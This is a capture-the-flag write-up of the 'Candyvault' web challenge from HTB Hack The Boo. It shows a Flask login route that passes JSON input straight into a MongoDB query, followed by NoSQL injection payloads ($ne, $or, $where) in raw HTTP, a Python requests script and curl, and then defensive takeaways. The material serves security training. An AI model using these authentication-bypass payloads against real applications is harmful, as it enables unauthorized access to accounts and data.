HTB Hack The Boo Practice: Web Candyvault

Challenge Information

AttributeDetails
EventHack The Boo Practice
CategoryWeb
ChallengeWeb Candyvault
DifficultyVery Easy

Summary

This is an extended version of the Candyvault challenge with the same vulnerability. A Flask web application uses MongoDB for user authentication. The application accepts JSON requests and performs NoSQL queries without proper input validation, making it vulnerable to NoSQL injection attacks. The vulnerability allows attackers to bypass authentication by injecting MongoDB query operators.


Analysis

The application structure is identical to the base candyvault challenge:

@app.route("/login", methods=["POST"])
def login():
content_type = request.headers.get("Content-Type")
if content_type == "application/x-www-form-urlencoded":
email = request.form.get("email")
password = request.form.get("password")
elif content_type == "application/json":
data = request.get_json()
email = data.get("email")
password = data.get("password")
else:
return jsonify({"error": "Unsupported Content-Type"}), 400
user = users_collection.find_one({"email": email, "password": password})
if user:
return render_template("candy.html", flag=open("flag.txt").read())
else:
return redirect("/")

Core Vulnerability:

The application directly uses user-supplied email and password values in a MongoDB query without any validation or sanitization. When JSON is sent with MongoDB operators instead of strings, the query logic is altered.


Solution

Method 1: NoSQL Operator Injection

Send a POST request with JSON containing MongoDB operators:

POST /login HTTP/1.1
Content-Type: application/json
{
"email": {"$ne": ""},
"password": {"$ne": ""}
}

This injects the MongoDB not-equal operator, making the query match any user document where both email and password fields exist (which is true for all valid users).

Method 2: Using $or Operator

An alternative approach using the logical OR operator:

{
"email": {"$or": [{"a": "a"}]},
"password": {"$ne": ""}
}

Method 3: String-based Injection

If content-type restrictions exist, try injecting operators in string form:

{
"email": {"$where": "1==1"},
"password": {"$where": "1==1"}
}

Using Python requests:

import requests
url = "http://target:1337/login"
# Bypass authentication
payload = {
"email": {"$ne": ""},
"password": {"$ne": ""}
}
response = requests.post(
url,
json=payload,
headers={"Content-Type": "application/json"}
)
# The response will contain the flag if injection is successful
if "HTB{" in response.text:
print("Success! Flag retrieved")
print(response.text)

Using curl:

Terminal window
curl -X POST http://target:1337/login \
-H "Content-Type: application/json" \
-d '{"email":{"$ne":""},"password":{"$ne":""}}'

Key Takeaways

  • NoSQL databases can be vulnerable to injection attacks similar to SQL injection
  • MongoDB operators like $ne, $gt, $regex, $or can be injected as query values
  • Type checking and validation must occur before using user input in database queries
  • JSON parsing should not automatically allow nested objects in sensitive operations
  • Input should be validated to ensure it matches expected types (strings for email/password)
  • Use parameter binding or prepared queries even in NoSQL databases
  • Implement proper authentication frameworks that handle security concerns automatically